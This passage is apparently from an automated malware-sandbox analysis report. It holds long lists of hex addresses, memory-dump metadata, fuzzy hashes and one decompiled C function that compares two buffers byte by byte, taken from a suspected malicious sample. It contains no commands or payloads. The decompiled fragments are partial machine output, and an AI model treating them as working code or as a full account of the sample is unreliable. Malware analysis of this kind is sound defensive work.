0x01153ee9
0x00000000
0x00000000
0x00000000
0x01153ee9
0x01153eb7
0x01153eb9
0x01153ebb
0x01153ebe
0x01153ec5
0x01153ec7
0x00000000
0x00000000
0x00000000
0x01153ec7
0x01153e95
0x01153e97
0x01153e99
0x01153e9c
0x01153ea3
0x01153ea5
0x00000000
0x00000000
0x00000000
0x00000000
0x011542b4
0x011542b7
0x011542ba
0x01154342
0x01154342
0x01154344
0x01154344
0x01154344
0x01154346
0x00000000
0x00000000
0x00000000
0x01154346
0x011542c4
0x011542c8
0x011542c8
0x011542ca
0x011542e2
0x011542e2
0x011542ea
0x011542ea
0x011542ec
0x01154304
0x01154304
0x0115430c
0x0115430c
0x0115430e
0x01154326
0x01154326
0x0115432e
0x0115432e
0x01154330
0x01154334
0x01154339
0x01154339
0x00000000
0x01154330
0x01154310
0x01154312
0x01154317
0x0115431e
0x0115431e
0x01154320
0x00000000
0x00000000
0x00000000
0x01154320
0x011542ee
0x011542f0
0x011542f5
0x011542fc
0x011542fc
0x011542fe
0x00000000
0x00000000
0x00000000
0x011542fe
0x011542cc
0x011542ce
0x011542d0
0x011542d3
0x011542da
0x011542dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0115359a
0x0115359a
0x011535a0
0x01153627
0x01153627
0x01153629
0x01153629
0x0115362b
0x00000000
0x00000000
0x00000000
0x0115362b
0x011535ad
0x011535af
0x011535c7
0x011535cf
0x011535d1
0x011535e9
0x011535f1
0x011535f3
0x0115360b
0x01153613
0x01153615
0x0115361e
0x0115361e
0x00000000
0x01153615
0x01153603
0x01153605
0x00000000
0x00000000
0x00000000
0x01153605
0x011535e1
0x011535e3
0x00000000
0x00000000
0x00000000
0x011535e3
0x011535bf
0x011535c1
0x00000000
0x00000000
0x00000000
0x00000000
0x011539a2
0x011539a5
0x011539a8
0x01153a2f
0x01153a2f
0x01153a31
0x01153a31
0x01153a33
0x00000000
0x00000000
0x00000000
0x01153a33
0x011539ae
0x011539b5
0x011539b5
0x011539b7
0x011539cf
0x011539cf
0x011539d7
0x011539d7
0x011539d9
0x011539f1
0x011539f1
0x011539f9
0x011539f9
0x011539fb
0x01153a13
0x01153a13
0x01153a1b
0x01153a1b
0x01153a1d
0x01153a21
0x01153a26
0x01153a26
0x00000000
0x01153a1d
0x011539fd
0x011539ff
0x01153a04
0x01153a0b
0x01153a0b
0x01153a0d
0x00000000
0x00000000
0x00000000
0x01153a0d
0x011539db
0x011539dd
0x011539e2
0x011539e9
0x011539e9
0x011539eb
0x00000000
0x00000000
0x00000000
0x011539eb
0x011539b9
0x011539bb
0x011539c0
0x011539c7
0x011539c7
0x011539c9
0x00000000
0x00000000
0x00000000
0x00000000
0x01153de7
0x01153dea
0x01153ded
0x01153e74
0x01153e74
0x01153e76
0x01153e76
0x01153e78
0x00000000
0x00000000
0x00000000
0x01153e78
0x01153df3
0x01153dfa
0x01153dfa
0x01153dfc
0x01153e14
0x01153e14
0x01153e1c
0x01153e1c
0x01153e1e
0x01153e36
0x01153e36
0x01153e3e
0x01153e3e
0x01153e40
0x01153e58
0x01153e58
0x01153e60
0x01153e60
0x01153e62
0x01153e66
0x01153e6b
0x01153e6b
0x00000000
0x01153e62
0x01153e42
0x01153e44
0x01153e46
0x01153e49
0x01153e50
0x01153e52
0x00000000
0x00000000
0x00000000
0x01153e52
0x01153e20
0x01153e22
0x01153e24
0x01153e27
0x01153e2e
0x01153e30
0x00000000
0x00000000
0x00000000
0x01153e30
0x01153dfe
0x01153e00
0x01153e02
0x01153e05
0x01153e0c
0x01153e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x0115421d
0x01154220
0x01154223
0x011542aa
0x011542aa
0x011542ac
0x011542ac
0x011542ac
0x011542ae
0x00000000
0x00000000
0x00000000
0x011542ae
0x01154229
0x01154230
0x01154230
0x01154232
0x0115424a
0x0115424a
0x01154252
0x01154252
0x01154254
0x0115426c
0x0115426c
0x01154274
0x01154274
0x01154276
0x0115428e
0x0115428e
0x01154296
0x01154296
0x01154298
0x0115429c
0x011542a1
0x011542a1
0x00000000
0x01154298
0x01154278
0x0115427a
0x0115427c
0x0115427f
0x01154286
0x01154288
0x00000000
0x00000000
0x00000000
0x01154288
0x01154256
0x01154258
0x0115425d
0x01154264
0x01154264
0x01154266
0x00000000
0x00000000
0x00000000
0x01154266
0x01154234
0x01154236
0x01154238
0x0115423b
0x01154242
0x01154244
0x00000000
0x00000000
0x00000000
0x00000000
0x01153503
0x01153503
0x01153509
0x01153590
0x01153590
0x01153592
0x01153594
0x00000000
0x00000000
0x00000000
0x01153594
0x01153516
0x01153518
0x01153530
0x01153538
0x0115353a
0x01153552
0x0115355a
0x0115355c
0x01153574
0x0115357c
0x0115357c
0x0115357e
0x01153587
0x01153587
0x00000000
0x0115357e
0x01153565
0x0115356e
0x00000000
0x00000000
0x00000000
0x0115356e
0x0115354a
0x0115354c
0x00000000
0x00000000
0x00000000
0x0115354c
0x01153528
0x0115352a
0x00000000
0x00000000
0x00000000
0x00000000
0x0115390b
0x0115390e
0x01153911
0x01153998
0x01153998
0x0115399a
0x0115399a
0x0115399c
0x00000000
0x00000000
0x00000000
0x0115399c
0x01153917
0x0115391e
0x0115391e
0x01153920
0x01153938
0x01153938
0x01153940
0x01153940
0x01153942
0x0115395a
0x0115395a
0x01153962
0x01153962
0x01153964
0x0115397c
0x0115397c
0x01153984
0x01153984
0x01153986
0x0115398a
0x0115398f
0x0115398f
0x00000000
0x01153986
0x01153966
0x01153968
0x0115396a
0x0115396d
0x01153974
0x01153976
0x00000000
0x00000000
0x00000000
0x01153976
0x01153944
0x01153946
0x01153948
0x0115394b
0x01153952
0x01153954
0x00000000
0x00000000
0x00000000
0x01153954
0x01153922
0x01153924
0x01153926
0x01153929
0x01153930
0x01153932
0x00000000
0x00000000
0x00000000
0x00000000
0x01153d50
0x01153d53
0x01153d56
0x01153ddd
0x01153ddd
0x01153ddf
0x01153ddf
0x01153de1
0x00000000
0x00000000
0x00000000
0x01153de1
0x01153d5c
0x01153d63
0x01153d63
0x01153d65
0x01153d7d
0x01153d7d
0x01153d85
0x01153d85
0x01153d87
0x01153d9f
0x01153d9f
0x01153da7
0x01153da7
0x01153da9
0x01153dc1
0x01153dc1
0x01153dc9
0x01153dc9
0x01153dcb
0x01153dcf
0x01153dd4
0x01153dd4
0x00000000
0x01153dcb
0x01153dab
0x01153dad
0x01153daf
0x01153db2
0x01153db9
0x01153dbb
0x00000000
0x00000000
0x00000000
0x01153dbb
0x01153d89
0x01153d8b
0x01153d90
0x01153d97
0x01153d97
0x01153d99
0x00000000
0x00000000
0x00000000
0x01153d99
0x01153d67
0x01153d69
0x01153d6e
0x01153d75
0x01153d75
0x01153d77
0x00000000
0x00000000
0x00000000
0x00000000
0x01154186
0x01154189
0x0115418c
0x01154213
0x01154213
0x01154215
0x01154215
0x01154217
0x00000000
0x00000000
0x00000000
0x01154217
0x01154192
0x01154199
0x01154199
0x0115419b
0x011541b3
0x011541b3
0x011541bb
0x011541bb
0x011541bd
0x011541d5
0x011541d5
0x011541dd
0x011541dd
0x011541df
0x011541f7
0x011541f7
0x011541ff
0x011541ff
0x01154201
0x01154205
0x0115420a
0x0115420a
0x00000000
0x01154201
0x011541e1
0x011541e3
0x011541e5
0x011541e8
0x011541ef
0x011541f1
0x00000000
0x00000000
0x00000000
0x011541f1
0x011541bf
0x011541c1
0x011541c6
0x011541cd
0x011541cd
0x011541cf
0x00000000
0x00000000
0x00000000
0x011541cf
0x0115419d
0x0115419f
0x011541a4
0x011541ab
0x011541ab
0x011541ad
0x00000000
0x00000000
0x00000000
0x00000000
0x0115346c
0x0115346c
0x01153472
0x011534f9
0x011534f9
0x011534fb
0x011534fd
0x00000000
0x00000000
0x00000000
0x011534fd
0x0115347f
0x01153481
0x01153499
0x011534a1
0x011534a3
0x011534bb
0x011534c3
0x011534c5
0x011534dd
0x011534e5
0x011534e7
0x011534f0
0x011534f0
0x00000000
0x011534e7
0x011534d5
0x011534d7
0x00000000
0x00000000
0x00000000
0x011534d7
0x011534ac
0x011534b5
0x00000000
0x00000000
0x00000000
0x011534b5
0x01153491
0x01153493
0x00000000
0x00000000
0x00000000
0x00000000
0x01153874
0x01153877
0x0115387a
0x01153901
0x01153901
0x01153903
0x01153903
0x01153905
0x00000000
0x00000000
0x00000000
0x01153905
0x01153880
0x01153887
0x01153887
0x01153889
0x011538a1
0x011538a1
0x011538a9
0x011538a9
0x011538ab
0x011538c3
0x011538c3
0x011538cb
0x011538cb
0x011538cd
0x011538e5
0x011538e5
0x011538ed
0x011538ed
0x011538ef
0x011538f3
0x011538f8
0x011538f8
0x00000000
0x011538ef
0x011538cf
0x011538d1
0x011538d6
0x011538dd
0x011538dd
0x011538df
0x00000000
0x00000000
0x00000000
0x011538df
0x011538ad
0x011538af
0x011538b1
0x011538b4
0x011538bb
0x011538bd
0x00000000
0x00000000
0x00000000
0x011538bd
0x0115388b
0x0115388d
0x01153892
0x01153899
0x01153899
0x0115389b
0x00000000
0x00000000
0x00000000
0x00000000
0x01153cb9
0x01153cbc
0x01153cbf
0x01153d46
0x01153d46
0x01153d48
0x01153d48
0x01153d4a
0x00000000
0x00000000
0x00000000
0x01153d4a
0x01153cc5
0x01153ccc
0x01153ccc
0x01153cce
0x01153ce6
0x01153ce6
0x01153cee
0x01153cee
0x01153cf0
0x01153d08
0x01153d08
0x01153d10
0x01153d10
0x01153d12
0x01153d2a
0x01153d2a
0x01153d32
0x01153d32
0x01153d34
0x01153d38
0x01153d3d
0x01153d3d
0x00000000
0x01153d34
0x01153d14
0x01153d16
0x01153d18
0x01153d1b
0x01153d22
0x01153d24
0x00000000
0x00000000
0x00000000
0x01153d24
0x01153cf2
0x01153cf4
0x01153cf9
0x01153d00
0x01153d00
0x01153d02
0x00000000
0x00000000
0x00000000
0x01153d02
0x01153cd0
0x01153cd2
0x01153cd7
0x01153cde
0x01153cde
0x01153ce0
0x00000000
0x00000000
0x00000000
0x00000000
0x011540ef
0x011540f2
0x011540f5
0x0115417c
0x0115417c
0x0115417e
0x0115417e
0x0115417e
0x01154180
0x00000000
0x00000000
0x00000000
0x01154180
0x011540fb
0x01154102
0x01154102
0x01154104
0x0115411c
0x0115411c
0x01154124
0x01154124
0x01154126
0x0115413e
0x0115413e
0x01154146
0x01154146
0x01154148
0x01154160
0x01154160
0x01154168
0x01154168
0x0115416a
0x0115416e
0x01154173
0x01154173
0x00000000
0x0115416a
0x0115414a
0x0115414c
0x0115414e
0x01154151
0x01154158
0x0115415a
0x00000000
0x00000000
0x00000000
0x0115415a
0x01154128
0x0115412a
0x0115412c
0x0115412f
0x01154136
0x01154138
0x00000000
0x00000000
0x00000000
0x01154138
0x01154106
0x01154108
0x0115410a
0x0115410d
0x01154114
0x01154116
0x00000000
0x00000000
0x00000000
0x00000000
0x011533d5
0x011533db
0x01153462
0x01153462
0x01153464
0x01153466
0x00000000
0x00000000
0x00000000
0x01153466
0x011533e8
0x011533ea
0x01153402
0x0115340a
0x0115340c
0x01153424
0x0115342c
0x0115342e
0x01153446
0x0115344e
0x01153450
0x01153459
0x01153459
0x00000000
0x01153450
0x01153437
0x01153440
0x00000000
0x00000000
0x00000000
0x01153440
0x0115341c
0x0115341e
0x00000000
0x00000000
0x00000000
0x0115341e
0x011533f3
0x011533fc
0x00000000
0x00000000
0x00000000
0x00000000
0x011537f0
0x011537f3
0x0115386a
0x0115386a
0x0115386c
0x0115386c
0x0115386c
0x0115386e
0x00000000
0x00000000
0x00000000
0x0115386e
0x011537f5
0x011537fc
0x011537fc
0x011537fe
0x01153812
0x01153812
0x0115381a
0x0115381a
0x0115381c
0x01153830
0x01153830
0x01153838
0x01153838
0x0115383a
0x0115384e
0x0115384e
0x01153856
0x01153856
0x01153858
0x0115385c
0x01153861
0x01153861
0x00000000
0x01153858
0x0115383c
0x0115383e
0x01153843
0x0115384a
0x0115384a
0x0115384c
0x00000000
0x00000000
0x00000000
0x0115384c
0x0115381e
0x01153820
0x01153825
0x0115382c
0x0115382c
0x0115382e
0x00000000
0x00000000
0x00000000
0x0115382e
0x01153800
0x01153802
0x01153804
0x01153807
0x0115380e
0x01153810
0x00000000
0x00000000
0x00000000
0x00000000
0x01153c25
0x01153c28
0x01153caf
0x01153caf
0x01153cb1
0x01153cb1
0x01153cb3
0x00000000
0x00000000
0x00000000
0x01153cb3
0x01153c2e
0x01153c35
0x01153c35
0x01153c37
0x01153c4f
0x01153c4f
0x01153c57
0x01153c57
0x01153c59
0x01153c71
0x01153c71
0x01153c79
0x01153c79
0x01153c7b
0x01153c93
0x01153c93
0x01153c9b
0x01153c9b
0x01153c9d
0x01153ca1
0x01153ca6
0x01153ca6
0x00000000
0x01153c9d
0x01153c7d
0x01153c7f
0x01153c84
0x01153c8b
0x01153c8b
0x01153c8d
0x00000000
0x00000000
0x00000000
0x01153c8d
0x01153c5b
0x01153c5d
0x01153c62
0x01153c69
0x01153c69
0x01153c6b
0x00000000
0x00000000
0x00000000
0x01153c6b
0x01153c39
0x01153c3b
0x01153c3d
0x01153c40
0x01153c47
0x01153c49
0x00000000
0x00000000
0x00000000
0x00000000
0x0115405a
0x0115405d
0x011540e5
0x011540e5
0x011540e7
0x011540e7
0x011540e9
0x00000000
0x00000000
0x00000000
0x011540e9
0x01154067
0x0115406b
0x0115406b
0x0115406d
0x01154085
0x01154085
0x0115408d
0x0115408d
0x0115408f
0x011540a7
0x011540a7
0x011540af
0x011540af
0x011540b1
0x011540c9
0x011540c9
0x011540d1
0x011540d1
0x011540d3
0x011540d7
0x011540dc
0x011540dc
0x00000000
0x011540d3
0x011540b3
0x011540b5
0x011540ba
0x011540c1
0x011540c1
0x011540c3
0x00000000
0x00000000
0x00000000
0x011540c3
0x01154091
0x01154093
0x01154095
0x01154098
0x0115409f
0x011540a1
0x00000000
0x00000000
0x00000000
0x011540a1
0x0115406f
0x01154071
0x01154076
0x0115407d
0x0115407d
0x0115407f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01152f20
0x01152f20
0x01152f20
0x01152f24
0x01152faa
0x01152faa
0x01152fac
0x01152fae
0x00000000
0x00000000
0x01152fb4
0x01152fb7
0x01152fba
0x0115303b
0x0115303b
0x0115303d
0x0115303f
0x00000000
0x00000000
0x01153045
0x01153048
0x0115304b
0x011530cc
0x011530cc
0x011530ce
0x011530d0
0x00000000
0x00000000
0x011530d6
0x011530d9
0x011530dc
0x0115315d
0x0115315d
0x0115315f
0x0115315f
0x01153161
0x00000000
0x00000000
0x0115316a
0x0115316d
0x011531f3
0x011531f3
0x011531f5
0x011531f5
0x011531f7
0x00000000
0x00000000
0x011531fd
0x01153200
0x01153203
0x01153284
0x01153284
0x01153286
0x01153286
0x01153288
0x00000000
0x00000000
0x0115328e
0x01153291
0x01153294
0x01153315
0x01153315
0x01153317
0x01153319
0x00000000
0x00000000
0x0115331f
0x01153322
0x01153325
0x011533a6
0x011533a6
0x011533a8
0x011533aa
0x00000000
0x00000000
0x00000000
0x011533aa
0x0115332a
0x0115332e
0x01153330
0x01153346
0x0115334a
0x0115334e
0x01153350
0x01153368
0x0115336c
0x01153370
0x01153372
0x0115338a
0x0115338e
0x01153392
0x01153392
0x01153394
0x0115339d
0x0115339d
0x00000000
0x01153394
0x01153382
0x01153384
0x00000000
0x00000000
0x00000000
0x01153384
0x01153359
0x01153362
0x00000000
0x00000000
0x00000000
0x01153362
0x01153337
0x01153340
0x00000000
0x00000000
0x00000000
0x01153340
0x01153299
0x0115329d
0x0115329f
0x011532b5
0x011532b9
0x011532bd
0x011532bf
0x011532d7
0x011532db
0x011532df
0x011532e1
0x011532f9
0x011532fd
0x01153301
0x01153301
0x01153303
0x0115330c
0x0115330c
0x00000000
0x01153303
0x011532f1
0x011532f3
0x00000000
0x00000000
0x00000000
0x011532f3
0x011532cf
0x011532d1
0x00000000
0x00000000
0x00000000
0x011532d1
0x011532a6
0x011532af
0x00000000
0x00000000
0x00000000
0x011532af
0x01153208
0x0115320c
0x0115320e
0x01153224
0x01153228
0x0115322c
0x0115322e
0x01153246
0x0115324a
0x0115324e
0x01153250
0x01153268
0x0115326c
0x01153270
0x01153272
0x0115327b
0x0115327b
0x00000000
0x01153272
0x01153260
0x01153262
0x00000000
0x00000000
0x00000000
0x01153262
0x01153237
0x01153240
0x00000000
0x00000000
0x00000000
0x01153240
0x0115321c
0x0115321e
0x00000000
0x00000000
0x00000000
0x0115321e
0x01153173
0x0115317b
0x0115317d
0x01153193
0x01153197
0x0115319b
0x0115319d
0x011531b5
0x011531b9
0x011531bd
0x011531bf
0x011531d7
0x011531db
0x011531df
0x011531df
0x011531e1
0x011531ea
0x011531ea
0x00000000
0x011531e1
0x011531cf
0x011531d1
0x00000000
0x00000000
0x00000000
0x011531d1
0x011531ad
0x011531af
0x00000000
0x00000000
0x00000000
0x011531af
0x01153184
0x0115318d
0x00000000
0x00000000
0x00000000
0x0115318d
0x011530e1
0x011530e5
0x011530e7
0x011530fd
0x01153101
0x01153105
0x01153107
0x0115311f
0x01153123
0x01153127
0x01153129
0x01153141
0x01153145
0x01153149
0x01153149
0x0115314b
0x01153154
0x01153154
0x00000000
0x0115314b
0x01153139
0x0115313b
0x00000000
0x00000000
0x00000000
0x0115313b
0x01153110
0x01153119
0x00000000
0x00000000
0x00000000
0x01153119
0x011530f5
0x011530f7
0x00000000
0x00000000
0x00000000
0x011530f7
0x01153050
0x01153054
0x01153056
0x0115306c
0x01153070
0x01153074
0x01153076
0x0115308e
0x01153092
0x01153096
0x01153098
0x011530b0
0x011530b4
0x011530b8
0x011530b8
0x011530ba
0x011530c3
0x011530c3
0x00000000
0x011530ba
0x011530a8
0x011530aa
0x00000000
0x00000000
0x00000000
0x011530aa
0x0115307f
0x01153088
0x00000000
0x00000000
0x00000000
0x01153088
0x01153064
0x01153066
0x00000000
0x00000000
0x00000000
0x01153066
0x01152fbf
0x01152fc3
0x01152fc5
0x01152fdb
0x01152fdf
0x01152fe3
0x01152fe5
0x01152ffd
0x01153001
0x01153005
0x01153007
0x0115301f
0x01153023
0x01153027
0x01153027
0x01153029
0x01153032
0x01153032
0x00000000
0x01153029
0x01153010
0x01153019
0x00000000
0x00000000
0x00000000
0x01153019
0x01152fee
0x01152ff7
0x00000000
0x00000000
0x00000000
0x01152ff7
0x01152fcc
0x01152fd5
0x00000000
0x00000000
0x00000000
0x01152fd5
0x01152f30
0x01152f32
0x01152f4a
0x01152f4e
0x01152f52
0x01152f54
0x01152f6c
0x01152f70
0x01152f74
0x01152f76
0x01152f8e
0x01152f92
0x01152f96
0x01152f96
0x01152f98
0x01152fa1
0x01152fa1
0x00000000
0x01152f98
0x01152f7f
0x01152f88
0x00000000
0x00000000
0x00000000
0x01152f88
0x01152f5d
0x01152f66
0x00000000
0x00000000
0x00000000
0x01152f66
0x01152f42
0x01152f44
0x00000000
0x00000000
0x00000000
0x011533b0
0x011533b2
0x011533b3
0x011533b5
0x011533b7
0x011533b9
0x00000000

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89e6c46f187e1e926951ff65dcd260c27edf8f9c31118927d4641950e3f1ec9f
Instruction ID: a53b2b29244aba905f31d60743c35c60110c0896e2d713ae2f173b3e45134023
Opcode Fuzzy Hash: 89e6c46f187e1e926951ff65dcd260c27edf8f9c31118927d4641950e3f1ec9f
Instruction Fuzzy Hash: 0F0292722195A28AEBAD4B3D847043ABFA179513F131E436ED8B7CB4C6FF20D164D660

Uniqueness

Uniqueness Score: -1.00%

Function 003F095E, Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.202006890.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_PHvqpLRfRl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4003efdb1b82660489297cf81d9eb3b1a92828f19abc9c79053ce197bdd8e6b4
Instruction ID: 3103fb0bad2c770a0c0a832a4e8de761cd69129d7982c6394481c8fb5f6c8f18
Opcode Fuzzy Hash: 4003efdb1b82660489297cf81d9eb3b1a92828f19abc9c79053ce197bdd8e6b4
Instruction Fuzzy Hash: 8EF110B4A01209EFDB05CF98C990BAEB7B5FF48304F208558EA06AB356D775EE41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01153C22, Relevance: .3, Instructions: 346
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E01153C22(void* __edx, void* __esi) {
				void* _t192;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t241;
				signed int _t242;
				signed int _t247;
				void* _t298;
				signed int _t308;
				signed int _t323;
				signed int _t325;
				signed int _t332;
				signed int _t336;
				signed int _t340;
				void* _t351;

				_t351 = __esi;
				_t298 = __edx;
				if( *((intOrPtr*)(__esi - 0x1e)) ==  *((intOrPtr*)(__edx - 0x1e))) {
					_t241 = 0;
					__eflags = 0;
					L15:
					__eflags = _t241;
					if(_t241 != 0) {
						goto L2;
					}
					_t193 =  *(_t351 - 0x1a);
					__eflags = _t193 -  *(_t298 - 0x1a);
					if(_t193 ==  *(_t298 - 0x1a)) {
						_t241 = 0;
						__eflags = 0;
						L26:
						__eflags = _t241;
						if(_t241 != 0) {
							goto L2;
						}
						_t194 =  *(_t351 - 0x16);
						__eflags = _t194 -  *(_t298 - 0x16);
						if(_t194 ==  *(_t298 - 0x16)) {
							_t241 = 0;
							__eflags = 0;
							L37:
							__eflags = _t241;
							if(_t241 != 0) {
								goto L2;
							}
							_t195 =  *(_t351 - 0x12);
							__eflags = _t195 -  *(_t298 - 0x12);
							if(_t195 ==  *(_t298 - 0x12)) {
								_t241 = 0;
								__eflags = 0;
								L48:
								__eflags = _t241;
								if(_t241 != 0) {
									goto L2;
								}
								_t196 =  *(_t351 - 0xe);
								__eflags = _t196 -  *(_t298 - 0xe);
								if(_t196 ==  *(_t298 - 0xe)) {
									_t241 = 0;
									__eflags = 0;
									L59:
									__eflags = _t241;
									if(_t241 != 0) {
										goto L2;
									}
									__eflags =  *(_t351 - 0xa) -  *(_t298 - 0xa);
									if( *(_t351 - 0xa) ==  *(_t298 - 0xa)) {
										_t242 = 0;
										__eflags = 0;
										L70:
										_t241 = _t242;
										__eflags = _t241;
										if(_t241 != 0) {
											goto L2;
										}
										_t198 =  *(_t351 - 6);
										__eflags = _t198 -  *(_t298 - 6);
										if(_t198 ==  *(_t298 - 6)) {
											_t241 = 0;
											__eflags = 0;
											L81:
											__eflags = _t241;
											if(_t241 != 0) {
												goto L2;
											}
											__eflags =  *(_t351 - 2) -  *(_t298 - 2);
											if( *(_t351 - 2) ==  *(_t298 - 2)) {
												_t241 = 0;
												goto L2;
											}
											__eflags = ( *(_t351 - 2) & 0x000000ff) - ( *(_t298 - 2) & 0x000000ff);
											if(__eflags == 0) {
												L4:
												_t241 = ( *(_t351 - 1) & 0x000000ff) - ( *(_t298 - 1) & 0x000000ff);
												__eflags = _t241;
												if(__eflags != 0) {
													_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
												}
												goto L2;
											} else {
												_t247 = (0 | __eflags > 0x00000000) * 2 - 1;
												_t241 = _t247;
												__eflags = _t241;
												if(_t241 != 0) {
													goto L2;
												} else {
													goto L4;
												}
											}
										}
										__eflags = (_t198 & 0x000000ff) - ( *(_t298 - 6) & 0x000000ff);
										if(__eflags == 0) {
											L74:
											__eflags = ( *(_t351 - 5) & 0x000000ff) - ( *(_t298 - 5) & 0x000000ff);
											if(__eflags == 0) {
												L76:
												_t308 = ( *(_t351 - 4) & 0x000000ff) - ( *(_t298 - 4) & 0x000000ff);
												__eflags = _t308;
												if(_t308 == 0) {
													L78:
													_t241 = ( *(_t351 - 3) & 0x000000ff) - ( *(_t298 - 3) & 0x000000ff);
													__eflags = _t241;
													if(__eflags != 0) {
														_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
													}
													goto L81;
												}
												__eflags = _t308;
												_t241 = (0 | _t308 > 0x00000000) * 2 - 1;
												__eflags = _t241;
												if(_t241 != 0) {
													goto L2;
												}
												goto L78;
											}
											_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
											__eflags = _t241;
											if(_t241 != 0) {
												goto L2;
											}
											goto L76;
										}
										_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
										__eflags = _t241;
										if(_t241 != 0) {
											goto L2;
										}
										goto L74;
									}
									__eflags = ( *(_t351 - 0xa) & 0x000000ff) - ( *(_t298 - 0xa) & 0x000000ff);
									if(__eflags == 0) {
										L63:
										__eflags = ( *(_t351 - 9) & 0x000000ff) - ( *(_t298 - 9) & 0x000000ff);
										if(__eflags == 0) {
											L65:
											__eflags = ( *(_t351 - 8) & 0x000000ff) - ( *(_t298 - 8) & 0x000000ff);
											if(__eflags == 0) {
												L67:
												_t242 = ( *(_t351 - 7) & 0x000000ff) - ( *(_t298 - 7) & 0x000000ff);
												__eflags = _t242;
												if(_t242 != 0) {
													__eflags = _t242;
													_t242 = (0 | _t242 > 0x00000000) * 2 - 1;
												}
												goto L70;
											}
											_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
											__eflags = _t241;
											if(_t241 != 0) {
												goto L2;
											}
											goto L67;
										}
										_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
										__eflags = _t241;
										if(_t241 != 0) {
											goto L2;
										}
										goto L65;
									}
									_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
									__eflags = _t241;
									if(_t241 != 0) {
										goto L2;
									}
									goto L63;
								}
								__eflags = (_t196 & 0x000000ff) - ( *(_t298 - 0xe) & 0x000000ff);
								if(__eflags == 0) {
									L52:
									_t323 = ( *(_t351 - 0xd) & 0x000000ff) - ( *(_t298 - 0xd) & 0x000000ff);
									__eflags = _t323;
									if(_t323 == 0) {
										L54:
										_t325 = ( *(_t351 - 0xc) & 0x000000ff) - ( *(_t298 - 0xc) & 0x000000ff);
										__eflags = _t325;
										if(_t325 == 0) {
											L56:
											_t241 = ( *(_t351 - 0xb) & 0x000000ff) - ( *(_t298 - 0xb) & 0x000000ff);
											__eflags = _t241;
											if(__eflags != 0) {
												_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
											}
											goto L59;
										}
										__eflags = _t325;
										_t241 = (0 | _t325 > 0x00000000) * 2 - 1;
										__eflags = _t241;
										if(_t241 != 0) {
											goto L2;
										}
										goto L56;
									}
									__eflags = _t323;
									_t241 = (0 | _t323 > 0x00000000) * 2 - 1;
									__eflags = _t241;
									if(_t241 != 0) {
										goto L2;
									}
									goto L54;
								}
								_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
								__eflags = _t241;
								if(_t241 != 0) {
									goto L2;
								}
								goto L52;
							}
							__eflags = (_t195 & 0x000000ff) - ( *(_t298 - 0x12) & 0x000000ff);
							if(__eflags == 0) {
								L41:
								__eflags = ( *(_t351 - 0x11) & 0x000000ff) - ( *(_t298 - 0x11) & 0x000000ff);
								if(__eflags == 0) {
									L43:
									_t332 = ( *(_t351 - 0x10) & 0x000000ff) - ( *(_t298 - 0x10) & 0x000000ff);
									__eflags = _t332;
									if(_t332 == 0) {
										L45:
										_t241 = ( *(_t351 - 0xf) & 0x000000ff) - ( *(_t298 - 0xf) & 0x000000ff);
										__eflags = _t241;
										if(_t241 != 0) {
											__eflags = _t241;
											_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
										}
										goto L48;
									}
									__eflags = _t332;
									_t241 = (0 | _t332 > 0x00000000) * 2 - 1;
									__eflags = _t241;
									if(_t241 != 0) {
										goto L2;
									}
									goto L45;
								}
								_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
								__eflags = _t241;
								if(_t241 != 0) {
									goto L2;
								}
								goto L43;
							}
							_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
							__eflags = _t241;
							if(_t241 != 0) {
								goto L2;
							}
							goto L41;
						}
						_t336 = (_t194 & 0x000000ff) - ( *(_t298 - 0x16) & 0x000000ff);
						__eflags = _t336;
						if(_t336 == 0) {
							L30:
							__eflags = ( *(_t351 - 0x15) & 0x000000ff) - ( *(_t298 - 0x15) & 0x000000ff);
							if(__eflags == 0) {
								L32:
								_t340 = ( *(_t351 - 0x14) & 0x000000ff) - ( *(_t298 - 0x14) & 0x000000ff);
								__eflags = _t340;
								if(_t340 == 0) {
									L34:
									_t241 = ( *(_t351 - 0x13) & 0x000000ff) - ( *(_t298 - 0x13) & 0x000000ff);
									__eflags = _t241;
									if(_t241 != 0) {
										__eflags = _t241;
										_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
									}
									goto L37;
								}
								__eflags = _t340;
								_t241 = (0 | _t340 > 0x00000000) * 2 - 1;
								__eflags = _t241;
								if(_t241 != 0) {
									goto L2;
								}
								goto L34;
							}
							_t241 = (0 | __eflags > 0x00000000) * 2 - 1;
							__eflags = _t241;
							if(_t241 != 0) {
								goto L2;
							}
							goto L32;
						}
						__eflags = _t336;
						_t241 = (0 | _t336 > 0x00000000) * 2 - 1;
						__eflags = _t241;
						if(_t241 != 0) {
							goto L2;
						}
						goto L30;
					}
